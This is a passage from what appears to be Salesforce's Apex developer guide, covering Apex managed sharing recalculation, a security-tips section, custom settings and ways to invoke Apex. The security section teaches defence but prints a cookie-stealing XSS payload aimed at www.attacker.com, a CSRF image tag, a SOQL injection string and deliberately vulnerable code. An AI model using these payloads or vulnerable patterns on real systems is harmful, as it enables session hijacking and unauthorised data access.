ContactShare, aren’t available to these users. If you must use share objects as a Customer Community Plus user, consider using a
trigger, which operates with the without sharing keyword by default. Otherwise, use an inner class with the same keyword to
enable the DML operation to run successfully. A separate utility class can also be used to enable this access.
Granting visibility via manual or apex shares written to the share objects is supported but the objects themselves aren't available to
Customer Community Plus users. However, other users can add shares that grant access to Customer Community Plus users.

Warning: After enabling digital experiences, records accessible to Roles and Subordinates via Apex managed sharing are
automatically made accessible to Roles, Internal, and Portal Subordinates. To secure external users’ access, update your Apex code
so that it creates shares to the Role and Internal Subordinates group. Because this conversion is a large-scale operation, consider
using batch Apex.

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Recalculating Apex Managed Sharing

Salesforce automatically recalculates sharing for all records on an object when its organization-wide sharing default access level changes.
The recalculation adds managed sharing when appropriate. In addition, all types of sharing are removed if the access they grant is
considered redundant. For example, manual sharing, which grants Read Only access to a user, is deleted when the object’s sharing
model changes from Private to Public Read Only.
To recalculate Apex managed sharing, you must write an Apex class that implements a Salesforce-provided interface to do the recalculation.
You must then associate the class with the custom object, on the custom object's detail page, in the Apex Sharing Recalculation related
list.

Note: Apex sharing reasons and Apex managed sharing recalculation are only available for custom objects.

You can execute this class from the custom object detail page where the Apex sharing reason is specified. An administrator might need
to recalculate the Apex managed sharing for an object if a locking issue prevented Apex code from granting access to a user as defined
by the application’s logic. You can also use the Database.executeBatch method to programmatically invoke an Apex managed sharing
recalculation.

Note: Every time a custom object's organization-wide sharing default access level is updated, any Apex recalculation classes
defined for associated custom object are also executed.
To monitor or stop the execution of the Apex recalculation, from Setup, enter Apex Jobs in the Quick Find box, then select
Apex Jobs.

Creating an Apex Class for Recalculating Sharing

To recalculate Apex managed sharing, you must write an Apex class to do the recalculation. This class must implement the
Salesforce-provided interface Database.Batchable.
The Database.Batchable interface is used for all batch Apex processes, including recalculating Apex managed sharing. You can
implement this interface more than once in your organization. For more information on the methods that must be implemented, see
Use Batch Apex on page 283.
Before creating an Apex managed sharing recalculation class, also consider the best practices.

Important: The object’s organization-wide default access level must not be set to the most permissive access level. For custom
objects, this level is Public Read/Write. For more information, see Understanding Sharing on page 219.

Apex Managed Sharing Recalculation Example

For this example, suppose that you are building a recruiting application and have an object called Job. You want to validate that the
recruiter and hiring manager listed on the job have access to the record. The following Apex class performs this validation. This example
requires a custom object called Job, with two lookup fields associated with User records called Hiring_Manager and Recruiter. Also, the
Job custom object should have two sharing reasons added called Hiring_Manager and Recruiter. Before you run this sample, replace
the email address with a valid email address to which you want to send error notifications and job completion notifications.
global class JobSharingRecalc implements Database.Batchable<sObject> {

// String to hold email address that emails will be sent to.

// Replace its value with a valid email address.
static String emailAddress = '[email protected]';

// The start method is called at the beginning of a sharing recalculation.

// This method returns a SOQL query locator containing the records
// to be recalculated.

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global Database.QueryLocator start(Database.BatchableContext BC){

return Database.getQueryLocator([SELECT Id, Hiring_Manager__c, Recruiter__c
FROM Job__c]);
}

// The executeBatch method is called for each chunk of records returned from start.

global void execute(Database.BatchableContext BC, List<sObject> scope){

// Create a map for the chunk of records passed into method.
Map<ID, Job__c> jobMap = new Map<ID, Job__c>((List<Job__c>)scope);

// Create a list of Job__Share objects to be inserted.

List<Job__Share> newJobShrs = new List<Job__Share>();

// Locate all existing sharing records for the Job records in the batch.
// Only records using an Apex sharing reason for this app should be returned.
List<Job__Share> oldJobShrs = [SELECT Id FROM Job__Share WHERE ParentId IN
:jobMap.keySet() AND
(RowCause = :Schema.Job__Share.rowCause.Recruiter__c OR
RowCause = :Schema.Job__Share.rowCause.Hiring_Manager__c)];

// Construct new sharing records for the hiring manager and recruiter
// on each Job record.
for(Job__c job : jobMap.values()){
Job__Share jobHMShr = new Job__Share();
Job__Share jobRecShr = new Job__Share();

// Set the ID of user (hiring manager) on the Job record being granted access.

jobHMShr.UserOrGroupId = job.Hiring_Manager__c;

// The hiring manager on the job should always have 'Read Only' access.
jobHMShr.AccessLevel = 'Read';

// The ID of the record being shared

jobHMShr.ParentId = job.Id;

// Set the rowCause to the Apex sharing reason for hiring manager.
// This establishes the sharing record as Apex managed sharing.
jobHMShr.RowCause = Schema.Job__Share.RowCause.Hiring_Manager__c;

// Add sharing record to list for insertion.

newJobShrs.add(jobHMShr);

// Set the ID of user (recruiter) on the Job record being granted access.
jobRecShr.UserOrGroupId = job.Recruiter__c;

// The recruiter on the job should always have 'Read/Write' access.

jobRecShr.AccessLevel = 'Edit';

// The ID of the record being shared

jobRecShr.ParentId = job.Id;

// Set the rowCause to the Apex sharing reason for recruiter.

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// This establishes the sharing record as Apex managed sharing.

jobRecShr.RowCause = Schema.Job__Share.RowCause.Recruiter__c;

// Add the sharing record to the list for insertion.

newJobShrs.add(jobRecShr);
}

try {
// Delete the existing sharing records.
// This allows new sharing records to be written from scratch.
Delete oldJobShrs;

// Insert the new sharing records and capture the save result.
// The false parameter allows for partial processing if multiple records are
// passed into operation.
Database.SaveResult[] lsr = Database.insert(newJobShrs,false);

// Process the save results for insert.

for(Database.SaveResult sr : lsr){
if(!sr.isSuccess()){
// Get the first save result error.
Database.Error err = sr.getErrors()[0];

// Check if the error is related to trivial access level.

// Access levels equal or more permissive than the object's default
// access level are not allowed.
// These sharing records are not required and thus an insert exception

// is acceptable.
if(!(err.getStatusCode() == StatusCode.FIELD_FILTER_VALIDATION_EXCEPTION

&& err.getMessage().contains('AccessLevel'))){
// Error is not related to trivial access level.
// Send an email to the Apex job's submitter.
Messaging.SingleEmailMessage mail = new Messaging.SingleEmailMessage();

String[] toAddresses = new String[] {emailAddress};

mail.setToAddresses(toAddresses);
mail.setSubject('Apex Sharing Recalculation Exception');
mail.setPlainTextBody(
'The Apex sharing recalculation threw the following exception: ' +

err.getMessage());
Messaging.sendEmail(new Messaging.SingleEmailMessage[] { mail });
}
}
}
} catch(DmlException e) {
// Send an email to the Apex job's submitter on failure.
Messaging.SingleEmailMessage mail = new Messaging.SingleEmailMessage();
String[] toAddresses = new String[] {emailAddress};
mail.setToAddresses(toAddresses);
mail.setSubject('Apex Sharing Recalculation Exception');
mail.setPlainTextBody(

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'The Apex sharing recalculation threw the following exception: ' +

e.getMessage());
Messaging.sendEmail(new Messaging.SingleEmailMessage[] { mail });
}
}

// The finish method is called at the end of a sharing recalculation.

global void finish(Database.BatchableContext BC){
// Send an email to the Apex job's submitter notifying of job completion.
Messaging.SingleEmailMessage mail = new Messaging.SingleEmailMessage();
String[] toAddresses = new String[] {emailAddress};
mail.setToAddresses(toAddresses);
mail.setSubject('Apex Sharing Recalculation Completed.');
mail.setPlainTextBody
('The Apex sharing recalculation finished processing');
Messaging.sendEmail(new Messaging.SingleEmailMessage[] { mail });
}

Testing Apex Managed Sharing Recalculations

This example inserts five Job records and invokes the batch job that is implemented in the batch class of the previous example. This
example requires a custom object called Job, with two lookup fields associated with User records called Hiring_Manager and Recruiter.
Also, the Job custom object should have two sharing reasons added called Hiring_Manager and Recruiter. Before you run this test, set
the organization-wide default sharing for Job to Private. Note that since email messages aren’t sent from tests, and because the batch
class is invoked by a test method, the email notifications won’t be sent in this case.
@isTest
private class JobSharingTester {

// Test for the JobSharingRecalc class

static testMethod void testApexSharing(){
// Instantiate the class implementing the Database.Batchable interface.
JobSharingRecalc recalc = new JobSharingRecalc();

// Select users for the test.

List<User> users = [SELECT Id FROM User WHERE IsActive = true LIMIT 2];
ID User1Id = users[0].Id;
ID User2Id = users[1].Id;

// Insert some test job records.

List<Job__c> testJobs = new List<Job__c>();
for (Integer i=0;i<5;i++) {
Job__c j = new Job__c();
j.Name = 'Test Job ' + i;
j.Recruiter__c = User1Id;
j.Hiring_Manager__c = User2Id;
testJobs.add(j);
}
insert testJobs;

Test.startTest();

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// Invoke the Batch class.

String jobId = Database.executeBatch(recalc);

Test.stopTest();

// Get the Apex job and verify there are no errors.

AsyncApexJob aaj = [Select JobType, TotalJobItems, JobItemsProcessed, Status,
CompletedDate, CreatedDate, NumberOfErrors
from AsyncApexJob where Id = :jobId];
System.assertEquals(0, aaj.NumberOfErrors);

// This query returns jobs and related sharing records that were inserted
// by the batch job's execute method.
List<Job__c> jobs = [SELECT Id, Hiring_Manager__c, Recruiter__c,
(SELECT Id, ParentId, UserOrGroupId, AccessLevel, RowCause FROM Shares
WHERE (RowCause = :Schema.Job__Share.rowCause.Recruiter__c OR
RowCause = :Schema.Job__Share.rowCause.Hiring_Manager__c))
FROM Job__c];

// Validate that Apex managed sharing exists on jobs.

for(Job__c job : jobs){
// Two Apex managed sharing records should exist for each job
// when using the Private org-wide default.
System.assert(job.Shares.size() == 2);

for(Job__Share jobShr : job.Shares){

// Test the sharing record for hiring manager on job.
if(jobShr.RowCause == Schema.Job__Share.RowCause.Hiring_Manager__c){
System.assertEquals(jobShr.UserOrGroupId,job.Hiring_Manager__c);
System.assertEquals(jobShr.AccessLevel,'Read');
}
// Test the sharing record for recruiter on job.
else if(jobShr.RowCause == Schema.Job__Share.RowCause.Recruiter__c){
System.assertEquals(jobShr.UserOrGroupId,job.Recruiter__c);
System.assertEquals(jobShr.AccessLevel,'Edit');
}
}
}
}
}

Associating an Apex Class Used for Recalculation

An Apex class used for recalculation must be associated with a custom object.
To associate an Apex managed sharing recalculation class with a custom object:
1. From the management settings for the custom object, go to Apex Sharing Recalculations.
2. Choose the Apex class that recalculates the Apex sharing for this object. The class you choose must implement the
Database.Batchable interface. You cannot associate the same Apex class multiple times with the same custom object.
3. Click Save.

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Security Tips for Apex and Visualforce Development

Understanding Security
The powerful combination of Apex and Visualforce pages allows Lightning Platform developers to provide custom functionality and
business logic to Salesforce or to create a new standalone product running inside the Lightning Platform. But as with any programming
language, developers must be cognizant of potential security-related pitfalls.
Salesforce has incorporated several security defenses in the Lightning Platform. But careless developers can still bypass the built-in
defenses and then expose their applications and customers to security risks. Many of the coding mistakes a developer can make on the
Lightning Platform are similar to general web application security vulnerabilities, while others are unique to Apex.
To certify an application for AppExchange, it’s important for developers to learn and understand the security flaws described. For more
information, see the Lightning Platform Security Resources page on Salesforce Developers. https://developer.salesforce.com/page/Security.

Open Redirects Through Static Resources

URL redirects automatically send a user to a different web page. Redirects are often used to guide navigation to a website, or refer
multiple domain names belonging to the same owner to refer to a single website. Unfortunately for developers, attackers can exploit
URL redirects when not implemented properly. Open redirect (also known as “arbitrary redirect”) is a common web application vulnerability
where values controlled by the user determine where the app redirects.

Warning: Open redirects through static resources can expose users to the risk of unintended, and possibly malicious, redirects.

Only admins with “Customize Application” permissions can upload static resources within an organization. Admins with this permission
must use caution to ensure that static resources don’t contain malicious content. To learn how to help guard against static resources
that were obtained from third parties, see Referencing Untrusted Third-Party Content with iframes .

Cross Site Scripting (XSS)

Unescaped Output and Formulas in Visualforce Pages
When using components that have set the escape attribute to false, or when including formulas outside of a Visualforce component,
output is unfiltered and must be validated for security. This is especially important when using formula expressions.
Cross-Site Request Forgery (CSRF)
SOQL Injection
Data Access Control

Cross Site Scripting (XSS)

Cross-site scripting (XSS) attacks are where malicious HTML or client-side scripting is provided to a web application. The web application
includes malicious scripting in a response to a user who unknowingly becomes the victim of the attack. The attacker uses the web
application as an intermediary in the attack, taking advantage of the victim's trust for the web application. Most applications that display
dynamic web pages without properly validating the data are likely to be vulnerable. Attacks against the website are especially easy if
input from one user is shown to another user. Some obvious possibilities include bulletin board or user comment-style websites, news,
or email archives.
For example, assume this script is included in a Lightning Platform page using a script component, an on* event, or a Visualforce page.
<script>var foo = '{!$CurrentPage.parameters.userparam}';</script>

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This script block inserts the value of the user-supplied userparam onto the page. The attacker can then enter this value for
userparam.

1';document.location='http://www.attacker.com/cgi-bin/cookie.cgi?'%2Bdocument.cookie;var%20foo='2

In this case, all cookies for the current page are sent to www.attacker.com as the query string in the request to the cookie.cgi
script. At this point, the attacker has the victim's session cookie and can connect to the web application as if they were the victim.
The attacker can post a malicious script using a website or email. Web application users not only see the attacker's input, but their
browser can execute the attacker's script in a trusted context. With this ability, the attacker can perform a wide variety of attacks against
the victim. These attacks range from simple actions, such as opening and closing windows, to more malicious attacks, such as stealing
data or session cookies, which allow an attacker full access to the victim's session.
For more information on this type of attack:
• http://www.owasp.org/index.php/Cross_Site_Scripting
• http://www.cgisecurity.com/xss-faq.html
• http://www.owasp.org/index.php/Testing_for_Cross_site_scripting
• http://www.google.com/search?q=cross-site+scripting
Within the Lightning Platform, several anti-XSS defenses are in place. For example, Salesforce has filters that screen out harmful characters
in most output methods. For the developer using standard classes and output methods, the threats of XSS flaws are largely mitigated.
But the creative developer can still find ways to intentionally or accidentally bypass the default controls.

Existing Protection
All standard Visualforce components, which start with <apex>, have anti-XSS filters in place to screen out harmful characters. For
example, this code is normally vulnerable to an XSS attack because it takes user-supplied input and outputs it directly back to the user,
but the <apex:outputText> tag is XSS-safe. All characters that appear to be HTML tags are converted to their literal form. For
example, the < character is converted to &lt; so that a literal < appears on the user's screen.
<apex:outputText>
{!$CurrentPage.parameters.userInput}
</apex:outputText>

Disabling Escape on Visualforce Tags

By default, nearly all Visualforce tags escape the XSS-vulnerable characters. You can disable this behavior by setting the optional attribute
escape="false". For example, this output is vulnerable to XSS attacks.

<apex:outputText escape="false" value="{!$CurrentPage.parameters.userInput}" />

Programming Items Not Protected from XSS

Custom Javascript code and code within <apex:includeScript> components don’t have built-in XSS protections. These items
allow the developer to customize the page with script commands. It doesn’t makes sense to include anti-XSS filters on commands that
are intentionally added to a page.
If you write your own JavaScript, the Lightning Platform has no way to protect you. For example, this code is vulnerable to XSS if used
in JavaScript.
<script>
var foo = location.search;

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document.write(foo);
</script>

With the <apex:includeScript> Visualforce component, you can include a custom script on a page. Make sure to validate that
the content is safe and includes no user-supplied data. For example, this snippet is vulnerable because it includes user-supplied input
as the value of the script text. The value provided by the tag is a URL to the JavaScript to include. If an attacker can supply arbitrary data
to this parameter as in the example, they’re able to direct the victim to include any JavaScript file from any other website.
<apex:includeScript value="{!$CurrentPage.parameters.userInput}" />

Unescaped Output and Formulas in Visualforce Pages

When using components that have set the escape attribute to false, or when including formulas outside of a Visualforce component,
output is unfiltered and must be validated for security. This is especially important when using formula expressions.
Formula expressions can be function calls or include information about platform objects, a user's environment, system environment,
and the request environment. It’s important to be aware that the output that’s generated by expressions isn’t escaped during rendering.
Since expressions are rendered on the server, it’s not possible to escape rendered data on the client using JavaScript or other client-side
technology. This can lead to potentially dangerous situations if the formula expression references non-system data (that is, potentially
hostile or editable data) and the expression itself is not wrapped in a function to escape the output during rendering.
A common vulnerability is created by rerendering user input on a page. For example,
<apex:page standardController="Account">
<apex:form>
<apex:commandButton rerender="outputIt" value="Update It"/>
<apex:inputText value="{!myTextField}"/>
</apex:form>

<apex:outputPanel id="outputIt">
Value of myTextField is <apex:outputText value="{!myTextField}" escape="false"/>
</apex:outputPanel>
</apex:page>

The unescaped {!myTextField} results in a cross-site scripting vulnerability. For example, if the user enters :
<script>alert('xss')

and clicks Update It, the JavaScript is executed. In this case, an alert dialog is displayed, but more malicious uses could be designed.
There are several functions that you can use for escaping potentially insecure strings.
HTMLENCODE
Encodes text and merge field values for use in HTML by replacing characters that are reserved in HTML, such as the greater-than
sign (>), with HTML entity equivalents, such as &gt;.
JSENCODE
Encodes text and merge field values for use in JavaScript by inserting escape characters, such as a backslash (\), before unsafe
JavaScript characters, such as the apostrophe (').
JSINHTMLENCODE
Encodes text and merge field values for use in JavaScript inside HTML tags by replacing characters that are reserved in HTML with
HTML entity equivalents and inserting escape characters before unsafe JavaScript characters. JSINHTMLENCODE(someValue)
is a convenience function that is equivalent to JSENCODE(HTMLENCODE((someValue)). That is, JSINHTMLENCODE
first encodes someValue with HTMLENCODE, and then encodes the result with JSENCODE.

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URLENCODE
Encodes text and merge field values for use in URLs by replacing characters that are illegal in URLs, such as blank spaces, with the
code that represent those characters as defined in RFC 3986, Uniform Resource Identifier (URI): Generic Syntax. For example, blank
spaces are replaced with %20, and exclamation points are replaced with %21.
To use HTMLENCODE to secure the previous example, change the <apex:outputText> to the following:
<apex:outputText value=" {!HTMLENCODE(myTextField)}" escape="false"/>

If a user enters <script>alert('xss') and clicks Update It, the JavaScript is not be executed. Instead, the string is encoded
and the page displays Value of myTextField is <script>alert('xss').
Depending on the placement of the tag and usage of the data, both the characters needing escaping as well as their escaped counterparts
may vary. For instance, this statement, which copies a Visualforce request parameter into a JavaScript variable:
<script>var ret = "{!$CurrentPage.parameters.retURL}";</script>

requires that any double quote characters in the request parameter be escaped with the URL encoded equivalent of %22 instead of
the HTML escaped ". Otherwise, the request:
https://example.com/demo/redirect.html?retURL=%22foo%22%3Balert('xss')%3B%2F%2F

results in:
<script>var ret = "foo";alert('xss');//";</script>

When the page loads the JavaScript executes, and the alert is displayed.
In this case, to prevent JavaScript from being executed, use the JSENCODE function. For example
<script>var ret = "{!JSENCODE($CurrentPage.parameters.retURL)}";</script>

Formula tags can also be used to include platform object data. Although the data is taken directly from the user's organization, it must
still be escaped before use to prevent users from executing code in the context of other users (potentially those with higher privilege
levels). While these types of attacks must be performed by users within the same organization, they undermine the organization's user
roles and reduce the integrity of auditing records. Additionally, many organizations contain data which has been imported from external
sources and might not have been screened for malicious content.

Cross-Site Request Forgery (CSRF)

Cross-Site Request Forgery (CSRF) flaws are less a programming mistake and more a lack of a defense. For example, an attacker has a
web page at www.attacker.com that could be any web page, including one that provides valuable services or information that
drives traffic to that site. Somewhere on the attacker's page is an HTML tag that looks like this:
<img
src="http://www.yourwebpage.com/yourapplication/[email protected]&type=admin....."
height=1 width=1 />

In other words, the attacker's page contains a URL that performs an action on your website. If the user is still logged into your web page
when they visit the attacker's web page, the URL is retrieved and the actions performed. This attack succeeds because the user is still
authenticated to your web page. This attack is a simple example, and the attacker can get more creative by using scripts to generate
the callback request or even use CSRF attacks against your AJAX methods.
For more information and traditional defenses:
• http://www.owasp.org/index.php/Cross-Site_Request_Forgery
• http://www.cgisecurity.com/csrf-faq.html

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• http://shiflett.org/articles/cross-site-request-forgeries
Within the Lightning Platform, Salesforce implemented an anti-CSRF token to prevent such an attack. Every page includes a random
string of characters as a hidden form field. Upon the next page load, the application checks the validity of this string of characters and
doesn’t execute the command unless the value matches the expected value. This feature protects you when using all of the standard
controllers and methods.
Here again, the developer can bypass the built-in defenses without realizing the risk. For example, a custom controller takes the object
ID as an input parameter and then uses that input parameter in a SOQL call.
<apex:page controller="myClass" action="{!init}"</apex:page>

public class myClass {

public void init() {
Id id = ApexPages.currentPage().getParameters().get('id');
Account obj = [select id, Name FROM Account WHERE id = :id];
delete obj;
return ;
}
}

The developer unknowingly bypassed the anti-CSRF controls by developing their own action method. The id parameter is read and
used in the code. The anti-CSRF token is never read or validated. An attacking web page can send the user to this page by using a CSRF
attack and providing any value for the id parameter.
There are no built-in defenses for such situations, and developers must be cautious about writing pages that act based on a user-supplied
parameter like the id variable in the previous example. A possible work-around is to insert an intermediate confirmation page to make
sure that the user intended to call the page. Other suggestions include shortening the idle session timeout and educating users to log
out of their active session and not use their browser to visit other sites while authenticated.
Because of the Salesforce built-in defense against CSRF, your users can encounter an error when multiple Salesforce login pages are
open. If the user logs in to Salesforce in one tab and then attempts to log in on another, they see this error: The page you submitted was
invalid for your session. Users can successfully log in by refreshing the login page or by attempting to log in a second time.

SOQL Injection
In other programming languages, the previous flaw is known as SQL injection. Apex doesn’t use SQL, but uses its own database query
language, SOQL. SOQL is simpler and more limited in functionality than SQL. The risks are lower for SOQL injection than for SQL injection,
but the attacks are nearly identical to traditional SQL injection. SQL/SOQL injection takes user-supplied input and uses those values in
a dynamic SOQL query. If the input isn’t validated, it can include SOQL commands that effectively modify the SOQL statement and trick
the application into performing unintended commands.

SOQL Injection Vulnerability in Apex

Here’s a simple example of Apex and Visualforce code vulnerable to SOQL injection.
<apex:page controller="SOQLController" >
<apex:form>
<apex:outputText value="Enter Name" />
<apex:inputText value="{!name}" />
<apex:commandButton value="Query" action="{!query}“ />
</apex:form>
</apex:page>
public class SOQLController {
public String name {

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get { return name;}

set { name = value;}
}
public PageReference query() {
String qryString = 'SELECT Id FROM Contact WHERE ' +
'(IsDeleted = false and Name like \'%' + name + '%\')';
List<Contact> queryResult = Database.query(qryString);
System.debug('query result is ' + queryResult);
return null;
}
}

This simple example illustrates the logic. The code is intended to search for contacts that weren’t deleted. The user provides one input
value called name. The value can be anything provided by the user, and it’s never validated. The SOQL query is built dynamically and
then executed with the Database.query method. If the user provides a legitimate value, the statement executes as expected.
// User supplied value: name = Bob
// Query string
SELECT Id FROM Contact WHERE (IsDeleted = false and Name like '%Bob%')

But what if the user provides unexpected input, such as:

// User supplied value for name: test%') OR (Name LIKE '

In that case, the query string becomes:

SELECT Id FROM Contact WHERE (IsDeleted = false AND Name LIKE '%test%') OR (Name LIKE '%')

Now the results show all contacts, not just the non-deleted ones. A SOQL Injection flaw can be used to modify the intended logic of any
vulnerable query.

SOQL Injection Defenses

To prevent a SOQL injection attack, avoid using dynamic SOQL queries. Instead, use static queries and binding variables. The preceding
vulnerable example can be rewritten using static SOQL.
public class SOQLController {
public String name {
get { return name;}
set { name = value;}
}
public PageReference query() {
String queryName = '%' + name + '%';
List<Contact> queryResult = [SELECT Id FROM Contact WHERE
(IsDeleted = false and Name like :queryName)];
System.debug('query result is ' + queryResult);
return null;
}
}

If you must use dynamic SOQL, use the escapeSingleQuotes method to sanitize user-supplied input. This method adds the
escape character (\) to all single quotation marks in a string that is passed in from a user. The method ensures that all single quotation
marks are treated as enclosing strings, instead of database commands.

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Data Access Control

The Lightning Platform makes extensive use of data sharing rules. Each object has permissions and can have sharing settings that users
can read, create, edit, and delete. These settings are enforced when using all standard controllers.
When using an Apex class, the built-in user permissions and field-level security restrictions aren’t respected during execution. The default
behavior is that an Apex class can read and update all data. Because these rules aren’t enforced, developers who use Apex must avoid
inadvertently exposing sensitive data that’s normally hidden behind user permissions, field-level security, or defaults. For example,
consider this Apex pseudo-code.
public class customController {
public void read() {
Contact contact = [SELECT id FROM Contact WHERE Name = :value];
}
}

In this case, all contact records are searched, even if the user currently logged in doesn’t have permission to view these records. The
solution is to use the qualifying keywords with sharing when declaring the class:
public with sharing class customController {
. . .
}

The with sharing keyword directs the platform to use the security sharing permissions of the user currently logged in, rather than
granting full access to all records.

Custom Settings
Custom settings are similar to custom objects. Application developers can create custom sets of data and associate custom data for an
organization, profile, or specific user. All custom settings data is exposed in the application cache, which enables efficient access without
the cost of repeated queries to the database. Formula fields, validation rules, flows, Apex, and SOAP API can then use this data.

Warning: Protection only applies to custom settings that are marked protected and installed to a subscriber organization as part
of a managed package. Otherwise, they are treated as public custom settings and are readable for all profiles, including the guest
user. Do not store secrets, personally identifying information, or any private data in these settings. Use protected custom settings
only in managed packages. Outside of a managed package, use named credentials or encrypted custom fields to store secrets like
OAuth tokens, passwords, and other confidential material.

Note: While custom settings data is included in sandbox copies, it is treated as data for the purposes of Apex test isolation. Apex
tests must use SeeAllData=true to see existing custom settings data in the organization. As a best practice, create the
required custom settings data in your test setup.
There are two types of custom settings.
List Custom Settings
A type of custom setting that provides a reusable set of static data that can be accessed across your organization. If you use a particular
set of data frequently within your application, putting that data in a list custom setting streamlines access to it. Data in list settings
doesn’t vary with profile or user, but is available organization-wide. Examples of list data include two-letter state abbreviations,
international dialing prefixes, and catalog numbers for products. Because the data is cached, access is low-cost and efficient: you
don't have to use SOQL queries that count against your governor limits.
Hierarchy Custom Settings
A type of custom setting that uses a built-in hierarchical logic that lets you “personalize” settings for specific profiles or users. The
hierarchy logic checks the organization, profile, and user settings for the current user and returns the most specific, or “lowest,” value.
In the hierarchy, settings for an organization are overridden by profile settings, which, in turn, are overridden by user settings.

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To get custom setting data set record based on the lowest level fields defined in the hierarchy, use the getinstance() instance
method for hierarchy custom settings.
The following examples illustrate how you can use custom settings.
• A shipping application requires users to fill in the country codes for international deliveries. By creating a list setting of all country
codes, users have quick access to this data without needing to query the database.
• An application displays a map of account locations, the best route to take, and traffic conditions. This information is useful for sales
reps, but account executives only want to see account locations. By creating a hierarchy setting with custom checkbox fields for
route and traffic, you can enable this data for just the “Sales Rep” profile.
You can create a custom setting in the Salesforce user interface: from Setup, enter Custom Settings in the Quick Find box, then
select Custom Settings. After creating a custom setting and you’ve added fields, provide data to your custom setting by clicking Manage
from the detail page. Identify each data set with a name.
For example, if you have a custom setting named Foundation_Countries__c with one text field Country_Code__c, your data sets can
look like the following:

Data Set Name Country Code Field Value

United States USA

Canada CAN

United Kingdom GBR

You can also include a custom setting in a package. The visibility of the custom setting in the package depends on the Visibility
setting.

Note: Only custom settings definitions are included in packages, not data. To include data, you must populate the custom settings
using Apex code run by the subscribing organization after they’ve installed the package.
Apex can access both custom setting types—list and hierarchy.

Note: If Privacy for a custom setting is Protected and the custom setting is contained in a managed package, the subscribing
organization can’t edit the values or access them using Apex.

Accessing a List Custom Setting

The following example returns a map of custom settings data. The getAll method returns values for all custom fields associated with
the list setting.

Map<String_dataset_name, CustomSettingName__c> mcs = CustomSettingName__c.getAll();

The following example uses the getValues method to return all the field values associated with the specified data set. This method
can be used with both list and hierarchy custom settings, using different parameters.

CustomSettingName__c mc = CustomSettingName__c.getValues(data_set_name);

Accessing a Hierarchy Custom Setting

The following example uses the getOrgDefaults method to return the data set values for the organization level:

CustomSettingName__c mc = CustomSettingName__c.getOrgDefaults();

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The following example uses the getInstance method to return the data set values for the specified profile. The getInstance
method can also be used with a user ID.

CustomSettingName__c mc = CustomSettingName__c.getInstance(Profile_ID);

SEE ALSO:
Apex Reference Guide: Custom Settings Methods

Running Apex
You can access many features of the Salesforce user interface programmatically in Apex, and you can integrate with external SOAP and
REST Web services. You can run Apex code using a variety of mechanisms. Apex code runs in atomic transactions.

Invoking Apex
You can run Apex code with triggers, or asynchronously, or as SOAP or REST web services.
Apex Transactions and Governor Limits
Apex Transactions ensure the integrity of data. Apex code runs as part of atomic transactions. Governor execution limits ensure the
efficient use of resources on the Lightning Platform multitenant platform.
Using Salesforce Features with Apex
Many features of the Salesforce user interface are exposed in Apex so that you can access them programmatically in the Lightning
Platform. For example, you can write Apex code to post to a Chatter feed, or use the approval methods to submit and approve
process requests.
Integration and Apex Utilities
Apex allows you to integrate with external SOAP and REST Web services using callouts. You can use utilities for JSON, XML, data
security, and encoding. A general-purpose utility for regular expressions with text strings is also provided.

Invoking Apex
You can run Apex code with triggers, or asynchronously, or as SOAP or REST web services.

1. Anonymous Blocks
An anonymous block is Apex code that doesn’t get stored in the metadata, but that can be compiled and executed.
2. Triggers
Apex can be invoked by using triggers. Apex triggers enable you to perform custom actions before or after changes to Salesforce
records, such as insertions, updates, or deletions.
3. Asynchronous Apex
Apex offers multiple ways for running your Apex code asynchronously. Choose the asynchronous Apex feature that best suits your
needs.
4. Exposing Apex Methods as SOAP Web Services
You can expose your Apex methods as SOAP web services so that external applications can access your code and your application.
5. Exposing Apex Classes as REST Web Services
You can expose your Apex classes and methods so that external applications can access your code and your application through
the REST architecture.

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6. Apex Email Service

You can use email services to process the contents, headers, and attachments of inbound email. For example, you can create an
email service that automatically creates contact records based on contact information in messages.
7. Using the InboundEmail Object
For every email the Apex email service domain receives, Salesforce creates a separate InboundEmail object that contains the contents
and attachments of that email. You can use Apex classes that implement the Messaging.InboundEmailHandler interface
to handle an inbound email message. Using the handleInboundEmail method in that class, you can access an InboundEmail
object to retrieve the contents, headers, and attachments of inbound email messages, as well as perform many functions.
8. Visualforce Classes
In addition to giving developers the ability to add business logic to Salesforce system events such as button clicks and related record
updates, Apex can also be used to provide custom logic for Visualforce pages through custom Visualforce controllers and controller
extensions.
9. JavaScript Remoting
Use JavaScript remoting in Visualforce to call methods in Apex controllers from JavaScript. Create pages with complex, dynamic
behavior that isn’t possible with the standard Visualforce AJAX components.
10. Apex in AJAX
The AJAX toolkit includes built-in support for invoking Apex through anonymous blocks or public webservice methods.

Anonymous Blocks
An anonymous block is Apex code that doesn’t get stored in the metadata, but that can be compiled and executed.

User Permissions Needed

To execute anonymous Apex: “API Enabled” and “Author Apex”
(Anonymous Apex execution through the API allows restricted access without the “Author
Apex” permission.)

If an anonymous Apex callout references a named credential as the endpoint: Customize Application

Compile and execute anonymous blocks using one of the following:

• Developer Console
• Salesforce extensions for Visual Studio Code
• The executeAnonymous() SOAP API call:
ExecuteAnonymousResult executeAnonymous(String code)

You can use anonymous blocks to quickly evaluate Apex in the Developer Console or using the Salesforce Extensions for Visual Studio
Code and Code Builder.

Important: Every time you run an anonymous block, the code and its references are compiled. For repetitive calls, we strongly
recommend you use compiled classes, such as Apex REST endpoints.
Note the following about the content of an anonymous block (for executeAnonymous(), the code String):
• Can include user-defined methods and exceptions.
• User-defined methods can’t include the keyword static.

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• You don’t have to manually commit any database changes.

